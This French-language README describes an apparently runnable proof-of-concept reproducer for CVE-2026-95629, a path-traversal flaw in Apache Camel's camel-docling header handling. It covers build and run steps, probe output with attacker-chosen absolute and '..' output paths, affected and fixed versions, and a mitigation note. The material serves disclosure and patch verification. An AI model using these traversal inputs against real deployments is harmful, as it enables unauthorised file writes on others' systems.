
Reproducteur de preuve de concept exécutable pour CVE-2026-95629, une faille de traversée de chemin dans Apache Camel camel-docling où l'en-tête output-path atteint verbatim l'option --output de docling.
--output verbatimReproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où DoclingProducer, exécutant
l'outil externe docling en mode CLI (le mode par défaut), transmettait la valeur de l'en-tête
CamelDoclingOutputFilePath au drapeau --output de docling verbatim : non normalisée, un chemin absolu
ou un chemin contenant des segments .. accepté tel quel, et aucune option de point de terminaison capable de le confiner.
| Runtime | Répertoire | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Docling écrit le résultat de la conversion — Markdown, HTML, JSON ou texte — dans ce répertoire, en nommant le fichier d'après le fichier d'entrée, et le producteur supprime ensuite uniquement son propre répertoire temporaire, de sorte que le fichier est laissé en place. Une partie capable de définir l'en-tête pouvait donc faire créer la sortie de conversion dans n'importe quel répertoire dans lequel le processus Camel peut écrire.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Sortie sur une build affectée (identique sur les deux runtimes) :
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
La sonde 4 révèle la forme du problème. La validation des arguments personnalisés ajoutée par le correctif pour
CVE-2026-40047 refuse --output et -o dans
CamelDoclingCustomArguments et indique aux appelants de choisir le répertoire de sortie avec cet en-tête à la place —
ainsi, la seule valeur qui décide où docling écrit était la seule valeur atteignant la ligne de commande sans qu'aucun des
contrôles appliqués aux arguments personnalisés ne soit effectué.
L'échange lui-même échoue après les sondes 2 et 3 (« échoue ensuite »), car le producteur cherche alors la sortie convertie dans son propre répertoire temporaire et ne l'y trouve pas. C'est cosmétique : l'écriture a déjà eu lieu, ce que montre le listage de fichiers à la fin.
Aucune installation de docling nécessaire. L'option doclingCommand de l'endpoint pointe vers un substitut enregistreur pour
la CLI, qui à la fois enregistre le vecteur d'arguments qui lui a été fourni et écrit un fichier dans le répertoire nommé par --output,
comme le fait docling. Le vrai DoclingProducer et le vrai addOutputDirectoryArguments() s'exécutent.
Seul le mode CLI utilise cet en-tête ; le mode docling-serve ne l'utilise pas.
CamelDoclingOutputFilePath appartient à l'espace de noms des en-têtes Camel, que les consommateurs appliquant le
filtrage d'en-têtes par défaut de Camel — les consommateurs JMS et Kafka, par exemple — suppriment des messages entrants. Le
problème est atteint lorsqu'une route transmet des valeurs influencées de l'extérieur dans l'en-tête, ou lorsqu'un consommateur
mappe les en-têtes entrants sans ce filtrage.
Le contenu du fichier écrit est la conversion du document transporté par le message ; il est donc façonné par celui qui fournit ce document sans être écrit octet par octet ; lorsque le document arrive dans le corps du message, le producteur le stocke sous un nom temporaire aléatoire, que le fichier de sortie porte ensuite.
| Propriété | Valeur |
|---|---|
| Composant | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22 (Limitation incorrecte d'un nom de chemin à un répertoire restreint) |
| Gravité | Moyenne |
| Vecteur d'attaque | Un répertoire absolu ou contenant .. dans l'en-tête CamelDoclingOutputFilePath |
| Impact | Sortie de conversion créée dans n'importe quel répertoire où le processus Camel peut écrire |
| Versions affectées | À partir de 4.15.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.2 |
| Versions corrigées | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24894 |
| Crédit | Zhixi « Jace » Sun, chercheur indépendant en sécurité |
Avis : https://camel.apache.org/security/CVE-2026-95629.html
Problème apparenté dans le même composant, même vague de publication : CVE-2026-95628 (chemins absolus acceptés comme valeurs d'arguments personnalisés).
L'en-tête reçoit désormais la même normalisation et le même confinement optionnel au répertoire de base que les chemins d'entrée, via
resolveWithinOutputBaseDirectory(). Mais l'option d'endpoint outputBaseDirectory que le correctif ajoute est
non définie par défaut, et sa propre documentation indique que lorsqu'elle est vide, aucune restriction de répertoire n'est appliquée
et la valeur de l'en-tête est seulement normalisée.
Vérifié sur 4.22.1 → 4.22.2, avec outputBaseDirectory laissé non défini :
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
Le driver signale cet état séparément plutôt que de le qualifier de corrigé, car c'est l'état dans lequel la plupart des déploiements se retrouveront juste après une mise à niveau. Après la mise à niveau, définissez outputBaseDirectory sur chaque endpoint docling dont l'en-tête peut porter une valeur influencée de l'extérieur.